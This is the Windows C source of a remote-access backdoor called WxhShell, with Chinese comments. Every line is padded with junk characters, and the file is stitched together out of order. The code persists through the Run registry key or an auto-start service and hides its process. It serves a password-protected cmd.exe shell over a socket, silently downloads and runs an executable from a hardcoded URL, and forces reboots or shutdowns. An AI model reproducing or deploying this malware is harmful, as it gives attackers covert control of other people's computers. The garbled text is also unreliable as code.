    if(Boot(SHUTDOWN)) J^XH^`'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hw7_8pAbh  
    else { T-@pTJ !K9  
    closesocket(wsh); ;klDt|%3j  
    ExitThread(0); .dfTv/n  
    } 3}+/\:q*  
    break; X}!_p& WI  
    } U!'lc} 5  
  // 获取shell %MIu;u FR  
  case 's': { = MXF`k^}  
    CmdShell(wsh); *K)v&}uw  
    closesocket(wsh); r" D|1  
    ExitThread(0); \xdt|:8  
    break; 3xe8DD  
  } 0g+@WK6y  
  // 退出 u7;A`  
  case 'x': { i~.[iZf|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F>M$|Sc2  
    CloseIt(wsh); zPmVECS  
    break; d!d 3r W;A  
    } 4 hj2rK'y  
  // 离开 VgdkCdWRm_  
  case 'q': { Q(sbClp"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;L[9[uQ[C  
    closesocket(wsh); GWhZ Mj  
    WSACleanup(); i-<=nD&?t  
    exit(1); A`r9"([-A  
    break; Ao\Vh\rQkq  
        } 8x{vgx @M  
  } ^DH*@M  
  } 9,Mp/.T"\  
k@~-|\ooG  
  // 提示信息 MJb = +L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5bw]cv$i  
} T/K.'92S  
  } ~L1O\V i  
<H p"ZCN  
  return; fH.W kAE1  
} miKi$jC}vq  
d5%*^nMpY  
// shell模块句柄 1^;h:,e6  
int CmdShell(SOCKET sock) rEf\|x=st:  
{ "tark'  
STARTUPINFO si; =6dKC_Q  
ZeroMemory(&si,sizeof(si)); xsvs3y|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7L]?)2=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gh pd k;  
PROCESS_INFORMATION ProcessInfo; `SW " RLS3  
char cmdline[]="cmd"; 2mO#vTX4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c>R(Fs|6  
  return 0; (w- u"1&  
} @r43F$bcqo  
g5Vr2  
// 自身启动模式 2%8Y-o?  
int StartFromService(void) M~Slc*_%  
{ vz:0"y  
typedef struct g?VME]:  
{ Psa8OJan  
  DWORD ExitStatus; kziBHis!  
  DWORD PebBaseAddress; a(~Yr A%~  
  DWORD AffinityMask; u s0'7|{q  
  DWORD BasePriority; {Y"r]:5i  
  ULONG UniqueProcessId; -FR;:  
  ULONG InheritedFromUniqueProcessId; VB\6S G  
}   PROCESS_BASIC_INFORMATION; 9c^EoYpy-  
"{k )nr+7U  
PROCNTQSIP NtQueryInformationProcess; <f6PULm  
J){\h-4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZX;k*OrW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }^<zVdwp  
FNM"!z  
  HANDLE             hProcess; _PbfFY #  
  PROCESS_BASIC_INFORMATION pbi; Mh|`XO.5I  
Sg$\ab$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T/;hIX:R  
  if(NULL == hInst ) return 0; $te,\$&}  
\i+h P1 mz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6y_Z'@L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [J`G`s!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F"H!CJJu&  
DG\YZV4  
  if (!NtQueryInformationProcess) return 0; Uq.~3V+u  
N]}+F w\5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5ecz'eA%  
  if(!hProcess) return 0; }tZAU\z  
N)*e^Nfb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ug,|'<G+  
D:E_h  
  CloseHandle(hProcess); ?v8k& q^q  
"V0:Lq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7 !.8#A':  
if(hProcess==NULL) return 0; "T u[n\8  
$0SZlq>En  
HMODULE hMod; ebe@.ZVSi  
char procName[255]; --YUiNhh  
unsigned long cbNeeded; mJ>99:W+  
(VAL.v*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j2 ^T:q[  
BDRVT Y(s  
  CloseHandle(hProcess); Vk_&W.~  
t)Q @sKT6  
if(strstr(procName,"services")) return 1; // 以服务启动 Y^Q|l%Qrb  
?1:/ 6  
  return 0; // 注册表启动 d`<^+p)oy  
} =k= 2~ j  
YiuOu(X  
// 主模块 pf@}4PN}  
int StartWxhshell(LPSTR lpCmdLine) %`'z^W  
{ )xx/di  
  SOCKET wsl; |Du13i4].&  
BOOL val=TRUE; Qsxkw  
  int port=0; &[Zap6]  
  struct sockaddr_in door; #(+HSZm  
i;zGw.;Q  
  if(wscfg.ws_autoins) Install(); F` 5/9?;|  
!#:$u=  
port=atoi(lpCmdLine);  RhNaYO  
+ 4g%?5'  
if(port<=0) port=wscfg.ws_port; 51opP8  
d 4\E  
  WSADATA data; K_|~3g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yLO &(Mb  
:@`(}5F4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kr`BUW3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ';\gR/L  
  door.sin_family = AF_INET; nl9Cdi]o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); : KP'xf.  
  door.sin_port = htons(port); B=bI'S8\  
0#fG4D_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UX'NJ1f  
closesocket(wsl); -0o6*?[Z  
return 1; 0 ;_wAk  
} {dA ~#fW<  
BH0#Q5  
  if(listen(wsl,2) == INVALID_SOCKET) { LL[#b2CKa  
closesocket(wsl); MupW=3.38  
return 1; C$td{tM  
} 7;}3{z  
  Wxhshell(wsl); Y-3[KHD  
  WSACleanup(); -Bo~"q  
hRa(<ZK  
return 0; #f3;}1(  
<%>n@A  
} vMX6Bg8  
dHq )vs,L  
// 以NT服务方式启动 e9`uD|KAS|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wvmg)4,  
{ dXcPWbrU4  
DWORD   status = 0; u:uSsAn0$  
  DWORD   specificError = 0xfffffff; q= yZx)  
3']:1B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +8)]m<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8f,'p}@!d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mo#0q&ZQ  
  serviceStatus.dwWin32ExitCode     = 0; HA9Nr.NqC@  
  serviceStatus.dwServiceSpecificExitCode = 0; =tc`:!$  
  serviceStatus.dwCheckPoint       = 0; _:g GD8  
  serviceStatus.dwWaitHint       = 0; S $_Y/x  
$EQT"ZX>%i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [|[sYo  
  if (hServiceStatusHandle==0) return; mfngbFa1  
|J<pLz  
status = GetLastError(); ~1=.?Ho  
  if (status!=NO_ERROR) g| ._n  
{ - Y8ks7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rO(TG  
    serviceStatus.dwCheckPoint       = 0; T018)WrhL  
    serviceStatus.dwWaitHint       = 0; c BHL,  
    serviceStatus.dwWin32ExitCode     = status; \)otu\3/  
    serviceStatus.dwServiceSpecificExitCode = specificError; uRm_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >'ksXA4b  
    return; c8-69hb?  
  } sWsG,v_  
;<kZfx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A3MZxu=':3  
  serviceStatus.dwCheckPoint       = 0; :otY;n-  
  serviceStatus.dwWaitHint       = 0; [W9e>Nsp0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V5u}C-o  
} D/S>w(=  
M9Nk=s! 3  
// 处理NT服务事件,比如:启动、停止 qIDWl{b<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %oh`EGmVP  
{ UH 47e  
switch(fdwControl) /o|PA:6J  
{ E/~"j  
case SERVICE_CONTROL_STOP: !dyxE'T2  
  serviceStatus.dwWin32ExitCode = 0; &e-#|p#v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z6IJo%s  
  serviceStatus.dwCheckPoint   = 0; H~?*KcZ 0\  
  serviceStatus.dwWaitHint     = 0; cuQ7kECV  
  { 29a_ZU7e6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b(#"w[|  
  } YN%=Oq  
  return; j<ABO")v  
case SERVICE_CONTROL_PAUSE: qe5tcv}u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; stg30><  
  break; >'} Y1_S5  
case SERVICE_CONTROL_CONTINUE: U|Bsa(?nx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )IFl 0<d  
  break; ;wJ7oj<  
case SERVICE_CONTROL_INTERROGATE: smfG, TI  
  break; !2zo]v4?  
}; Uz6{>OCvk|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c~gNH%1XN  
} 'v\1:zi  
&/ >;LgN  
// 标准应用程序主函数 >JKnGeF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xvwD3.1  
{ %[]"QbF?  
z(g%ue\  
// 获取操作系统版本 ? G$Om  
OsIsNt=GetOsVer(); SY%A"bC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vs_\ykO  
r6d0x  
  // 从命令行安装 k4qLB1&,  
  if(strpbrk(lpCmdLine,"iI")) Install(); HGO#e  
!,cQ'*<W8-  
  // 下载执行文件 Z/2,al\  
if(wscfg.ws_downexe) { 3]O`[P,*%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,f8}q]FTA  
  WinExec(wscfg.ws_filenam,SW_HIDE); /S:w&5e  
} MU_!&(X_  
>Z#uFt0<Pm  
if(!OsIsNt) { )-bD2YA{  
// 如果时win9x,隐藏进程并且设置为注册表启动 5h`m]#YEG  
HideProc(); NuC-qG#  
StartWxhshell(lpCmdLine); %f3c7\=C  
} *QbM*oH  
else .S~@BI(|<  
  if(StartFromService()) L;/9L[s,  
  // 以服务方式启动 LP.HS'M~u  
  StartServiceCtrlDispatcher(DispatchTable); $|4cJ#;^L  
else ;_mgiKHg  
  // 普通方式启动 ]3n, AHA  
  StartWxhshell(lpCmdLine); c3=-Mq9Q  
,>D ja59  
return 0; 8[8|*8xqs  
} oN *SRaAp  
kQ@gO[hS  
UZzNVIXA%  
]i-P-9PA4  
=========================================== ^I]LoG:  
P@qMJ}<j  
7~_{.f  
Yo>`h2C4  
x&at^Fp  
CQ@LmTW[  
" $Mdbt o~<  
LtC~)R  
#include <stdio.h> R<"2%oY  
#include <string.h> &Fw[YGJayz  
#include <windows.h> `TUZZz  
#include <winsock2.h> 'S =sj}X  
#include <winsvc.h> 1TKEm9j]u  
#include <urlmon.h> $aB /+,  
<f%ujrX  
#pragma comment (lib, "Ws2_32.lib") +"jl(5Q  
#pragma comment (lib, "urlmon.lib") ;avQ1T'{?g  
3\;v5D:  
#define MAX_USER   100 // 最大客户端连接数 d)N^PJ/  
#define BUF_SOCK   200 // sock buffer ZB-QABn  
#define KEY_BUFF   255 // 输入 buffer Fj S%n$  
,mBZ`X@N  
#define REBOOT     0   // 重启 =v.{JV#  
#define SHUTDOWN   1   // 关机 he"L*p*H  
O/mR9[}  
#define DEF_PORT   5000 // 监听端口 r]v&t  
&=YSM.G  
#define REG_LEN     16   // 注册表键长度 Yl $X3wi  
#define SVC_LEN     80   // NT服务名长度 m;dm|4L^  
Sa L"!uAk  
// 从dll定义API +}P%HH]E/p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <"<Mbbp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }*NF&PD5RU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *P`v^&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xdPcsox~  
YQ; cJ$  
// wxhshell配置信息 )T9;6R$b  
struct WSCFG { bG "H D?A_  
  int ws_port;         // 监听端口 " jT#bIm  
  char ws_passstr[REG_LEN]; // 口令 1@xP(XS  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q8p=!K  
  char ws_regname[REG_LEN]; // 注册表键名 m# JI!_~!  
  char ws_svcname[REG_LEN]; // 服务名 g6WPPpqus  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X2qv^G,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HN{zT&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QIQfI05  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2Zy_5>~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qpI]R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %;7.9%  
]Kv q |}=  
}; k}GjD2m  
Y,C=@t@_  
// default Wxhshell configuration Q $]YD pCM  
struct WSCFG wscfg={DEF_PORT, y,Jh@n';|  
    "xuhuanlingzhe", k0L] R5W  
    1, %Uy%kN_&  
    "Wxhshell", Y(_KizBY  
    "Wxhshell", P|N2R5(>T  
            "WxhShell Service", G8eD7%{b:)  
    "Wrsky Windows CmdShell Service", z Ct\o  
    "Please Input Your Password: ", @D)Z{=>{=5  
  1, pV7N byb4  
  "http://www.wrsky.com/wxhshell.exe", pE2QnNr'  
  "Wxhshell.exe" D?^Y`G$.  
    }; (ew} gJ  
 A^ViDP  
// 消息定义模块 !siWEzw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <?YA,"~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9t?L\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Vo\H<_=G  
char *msg_ws_ext="\n\rExit."; >)NQH9'1  
char *msg_ws_end="\n\rQuit."; eX"''PA  
char *msg_ws_boot="\n\rReboot..."; eJHp6)2  
char *msg_ws_poff="\n\rShutdown..."; 6g"C#&{@  
char *msg_ws_down="\n\rSave to ";  Hy]  
{pWBwf>R C  
char *msg_ws_err="\n\rErr!"; xST4}Mb^f  
char *msg_ws_ok="\n\rOK!"; >^=gDJ\a  
~M5:=zKQ  
char ExeFile[MAX_PATH]; 7NJFWz!  
int nUser = 0; yoQ\lk  
HANDLE handles[MAX_USER]; C`QzT{6!  
int OsIsNt; :Xfn@>;3ui  
}$&xTW_  
SERVICE_STATUS       serviceStatus; 6V1:qp/6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $e }n  
l'6d4 DZ  
// 函数声明 !77NG4B  
int Install(void); ^z~~VBv  
int Uninstall(void); +6l]]*H  
int DownloadFile(char *sURL, SOCKET wsh); H=p`T+  
int Boot(int flag); -R0/o7  
void HideProc(void); "UG K8x  
int GetOsVer(void); &J$##B  
int Wxhshell(SOCKET wsl); (u&`Ij9  
void TalkWithClient(void *cs); e4\dpvL  
int CmdShell(SOCKET sock); W\8Ln>  
int StartFromService(void); Z(e ^iH  
int StartWxhshell(LPSTR lpCmdLine); ?qmp_2:WU  
jn JZ# =)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :U'Cor H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e)@3m.  
j+kC-U;  
// 数据结构和表定义 Q9c)k{QZ  
SERVICE_TABLE_ENTRY DispatchTable[] = #H~_K}Ks  
{ 'c %S!$P  
{wscfg.ws_svcname, NTServiceMain}, gmP9j)V6  
{NULL, NULL} %d2!\x%bG  
}; BI/&dKM  
rjk( X|R*  
// 自我安装 0fArF*  
int Install(void) o ehaQ#e  
{ z wk.bf>m  
  char svExeFile[MAX_PATH]; Y3Oz'%B  
  HKEY key; D#Kuo$  
  strcpy(svExeFile,ExeFile); fThgK;Qy'U  
n?xTkkr0  
// 如果是win9x系统,修改注册表设为自启动 tU@zhGb  
if(!OsIsNt) { nlc.u}#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -tLO.JK<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c5% 6Y2W0  
  RegCloseKey(key); e,gyQjJR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QJGKQ2^ n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |(%zb\#9  
  RegCloseKey(key); QkQ!Ep(  
  return 0; :Ht; 0|[H  
    } 28I^$> [  
  } Am"(+>W21  
} YcDe@Zuwn  
else { @S^ASDuQU7  
fjG&`m#"  
// 如果是NT以上系统,安装为系统服务 wTc)S6%7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j:,9%tg  
if (schSCManager!=0) HrM$NRhu  
{ rD &D)w  
  SC_HANDLE schService = CreateService O_~7Glu  
  ( B^v8,;jZT  
  schSCManager, 8sOQ9  
  wscfg.ws_svcname, O;uG?.\  
  wscfg.ws_svcdisp, ~h$wH{-U#  
  SERVICE_ALL_ACCESS, -ijC_`>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6'vbT~S!  
  SERVICE_AUTO_START, .; Q:p*  
  SERVICE_ERROR_NORMAL, `A@w7J'  
  svExeFile, 9902+pW  
  NULL, 5's~>up&  
  NULL, G`0V)S  
  NULL, viX +|A4gJ  
  NULL, g>JLDQdc  
  NULL ;i<jhNA  
  ); j5$GFi\kB  
  if (schService!=0) o\VUD  
  { (s<s@`  
  CloseServiceHandle(schService); N2C7[z+l`  
  CloseServiceHandle(schSCManager); hz:pbes  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M@et6aud;K  
  strcat(svExeFile,wscfg.ws_svcname); L%"LlS g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C[sh,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Vvp[P >  
  RegCloseKey(key); iUi>y.}"P  
  return 0; |{>ER,<-  
    } &@FhR#pUQ  
  } }<a^</s  
  CloseServiceHandle(schSCManager); SmwQET<H  
} h^UKT`9vt  
} #W>QY Tp  
cVnJ^*Z  
return 1; V!_71x\-Q  
} baV>N[F&  
W/$Zvl  
// 自我卸载 QS[L~97m2M  
int Uninstall(void) $'rG-g!f\  
{ w"Y` ]2  
  HKEY key; RE2&mYt  
6w8" >~)Z  
if(!OsIsNt) { Yr.sm!xA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (t+;O;  
  RegDeleteValue(key,wscfg.ws_regname); ZBT1Y.qA  
  RegCloseKey(key); 46@{5)Tq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { : 18KR*;p  
  RegDeleteValue(key,wscfg.ws_regname); !9Z r;K~\  
  RegCloseKey(key); m0n)dje  
  return 0; r0;:t   
  } YyAJ m^o  
} "TyJP[/  
} u$#Wv2|mk  
else { q[q?hQ/b  
a' Ki;]q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }je,")#W  
if (schSCManager!=0) S-Y=-"  
{ ~}EMk3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \wcam`f  
  if (schService!=0) {%lXYMyu  
  { W]M)Q}:Y  
  if(DeleteService(schService)!=0) { b V+(b9  
  CloseServiceHandle(schService); tGvG  
  CloseServiceHandle(schSCManager); -VxTx^)>  
  return 0; \>LnLH(  
  } L!0OC''C  
  CloseServiceHandle(schService); ULrr=5&8  
  } !* Ti}oIo&  
  CloseServiceHandle(schSCManager); Q 1d'~e  
} '.Ed`?<p  
} NX`*%K  
o1W:ox?kO  
return 1; 4;n6I)&.(  
} ,YTIC8qKr  
L37Y+C//  
// 从指定url下载文件 {vUN+We  
int DownloadFile(char *sURL, SOCKET wsh) ('wY9kvL&  
{ &qp r*17T  
  HRESULT hr; 1tTg P+  
char seps[]= "/"; g VQjL+_W  
char *token; Nkxm m/Z  
char *file; 0"2=n.##  
char myURL[MAX_PATH]; m(RXJORI  
char myFILE[MAX_PATH]; Y}#h5\  
z%MW!x  
strcpy(myURL,sURL); r.3/F[.  
  token=strtok(myURL,seps); j 8*ZF  
  while(token!=NULL) |8mhp.7  
  { t@u7RL*n:<  
    file=token; w(kf  
  token=strtok(NULL,seps); t!*+8Q !e  
  } d \x7Zw>  
'WaPrCw@Mf  
GetCurrentDirectory(MAX_PATH,myFILE); 7K)6^r^  
strcat(myFILE, "\\"); mxb(<9O  
strcat(myFILE, file); g?-lk5  
  send(wsh,myFILE,strlen(myFILE),0); |f~@8|MQP+  
send(wsh,"...",3,0); 3)-/`iy#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j83p)ido  
  if(hr==S_OK) -~?J+o+Pr"  
return 0; l @^3Exwt  
else "Rn 3lj0  
return 1; ,0x y\u  
JkW9D)6  
} a=M\MZK>  
H*#s }9=kZ  
// 系统电源模块 fRg`UI4w}  
int Boot(int flag) I%- " |]$  
{ q_-7i  
  HANDLE hToken; n6s}ww)  
  TOKEN_PRIVILEGES tkp; n 1!?"m!  
*OuStr \o  
  if(OsIsNt) { )Ke*JJaq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); foJdu+^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,9WBTH8  
    tkp.PrivilegeCount = 1; aW>6NDq(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bh^LIU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,-7R(iMd  
if(flag==REBOOT) { 9Xx's%U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m(pE5B(  
  return 0; EwOV;>@T?  
} LpR3BP@At  
else { gy&[?m6M=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W 4F\}A  
  return 0; k0T?-iM  
} )M)7"PC  
  } cA%%IL$R  
  else { ]`Oo%$Ue  
if(flag==REBOOT) { M5xCC!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2W4qBaG$=  
  return 0; }Ho Qwy|&  
} >JiltF7H0  
else { 8 Y5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) **}h&k&%2  
  return 0; ,3@#F/c3i~  
} ) $PDo 7#  
} FJasS8  
`w]s;G[  
return 1; y@\V +  
} Yo[;W vu  
7)s^8+  
// win9x进程隐藏模块 "~D]E7Q3y  
void HideProc(void) E9;|'Vy<E  
{ AhZ8 0!  
N!g9*Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tKpmm`2  
  if ( hKernel != NULL ) Nm |!#(L  
  { `ho1nY$)CE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O%FPS=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0qX3v<+[6  
    FreeLibrary(hKernel); Th=eNL]  
  } lV%N  
L'u\ w  
return; 2Lx3=k  
} aG^4BpIP  
iezO9`  
// 获取操作系统版本 k{'0[,mx#  
int GetOsVer(void) Yb E-6|cz  
{  EW3(cQbK  
  OSVERSIONINFO winfo; 0:+WO%z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y-1 pR  
  GetVersionEx(&winfo); j$+nKc$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V,$0p1?J  
  return 1; ]Ux<aiY]a  
  else 5H ue7'LS  
  return 0; 8 XU1 /i7N  
} >Q(3*d >  
92EWIHEWZ  
// 客户端句柄模块 Z l*X?5u  
int Wxhshell(SOCKET wsl) ~$~5qwl  
{ p\<u6v ~J  
  SOCKET wsh; Nqu>6^-z0  
  struct sockaddr_in client; }K&7%N4LZ  
  DWORD myID; kXf'5p1  
]w.;4`l*  
  while(nUser<MAX_USER) 78/Zk}I]  
{ [D!jv "  
  int nSize=sizeof(client); ~c&bH]cj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bFW=ylF9  
  if(wsh==INVALID_SOCKET) return 1; @7B$Yy#  
DCZ\6WY1G)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +(h\fm7*-  
if(handles[nUser]==0) ?Orxmxc 2  
  closesocket(wsh); t2l S ~l)  
else RO.k]x6  
  nUser++; o#skR4lwe  
  } Rb.SY{}C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uXKERzg  
Ry'= ke  
  return 0; _ A=$oVe  
} {DR`;ea])1  
[<6S%s  
// 关闭 socket $g sxO!G  
void CloseIt(SOCKET wsh) {HCz p,Y  
{ a]MX)?  
closesocket(wsh); % ClHCoyA  
nUser--; ; d J1  
ExitThread(0); -q*i_r:,  
} } q$ WvY/  
=F@W gn,  
// 客户端请求句柄 (JM5`XwM  
void TalkWithClient(void *cs) 9o+)?1\  
{ QDhOhGK  
JhLgCnm  
  SOCKET wsh=(SOCKET)cs; AT%u%cE-  
  char pwd[SVC_LEN]; 'hs2RSq  
  char cmd[KEY_BUFF]; @w?P7P<O`  
char chr[1]; #Jw1IcuH  
int i,j; *" {lMZ +  
C<P%CG&;  
  while (nUser < MAX_USER) { 2Tagr1L  
!Ze5)g%H  
if(wscfg.ws_passstr) { `tn{ei  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D8xmE2%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hK_LEwd;  
  //ZeroMemory(pwd,KEY_BUFF); <?@NRFTe  
      i=0; 3h *!V6%q  
  while(i<SVC_LEN) { F 9@h|#an  
sn)3Z A  
  // 设置超时 6=fSE=]DY  
  fd_set FdRead; EUxGAj$-  
  struct timeval TimeOut; D`$hPYK|_  
  FD_ZERO(&FdRead); c|#8T*`C  
  FD_SET(wsh,&FdRead); eY|  
  TimeOut.tv_sec=8; lQe%Yh >rl  
  TimeOut.tv_usec=0; sL\L"rQN6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lhBT@5Dm9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fIsp;ca[k  
#n#@fAY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /|D*w^ >  
  pwd=chr[0]; Ym =FgM\  
  if(chr[0]==0xd || chr[0]==0xa) { , T8>}U(  
  pwd=0; 6e[VgN-s  
  break; {\:{[{qF  
  } D>LZP!  
  i++; ;<(W% _  
    } *^:N.&]  
\Z+z?K O  
  // 如果是非法用户,关闭 socket #3+!ee27#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FSA1gAW6g  
} '7i Sp=  
L:i-BI`J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (EI;"N (x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c1E'$- K@  
Ro9tZ'N!S  
while(1) { id1s3b;  
,&R/4 :I  
  ZeroMemory(cmd,KEY_BUFF); -}KC=,]vh  
@*6 C=LL  
      // 自动支持客户端 telnet标准   Z7=`VNHc  
  j=0; `.i!NBA'6  
  while(j<KEY_BUFF) { xo7Kn+ Kl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `|ASx8_!  
  cmd[j]=chr[0]; 1*@'-mj  
  if(chr[0]==0xa || chr[0]==0xd) { Jz2N  
  cmd[j]=0; !0vG|C ;'  
  break; uA#P'?  
  } z{o' G3  
  j++; lc~%=  
    } :gep:4&u  
2fWTY0  
  // 下载文件 -(~!Jo_*'  
  if(strstr(cmd,"http://")) { "-vW,7y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f PM8f  
  if(DownloadFile(cmd,wsh)) -De9_0#R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -i%e!DgH  
  else _N{RVeO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @n{JM7ctJ  
  } .P7"e5g e  
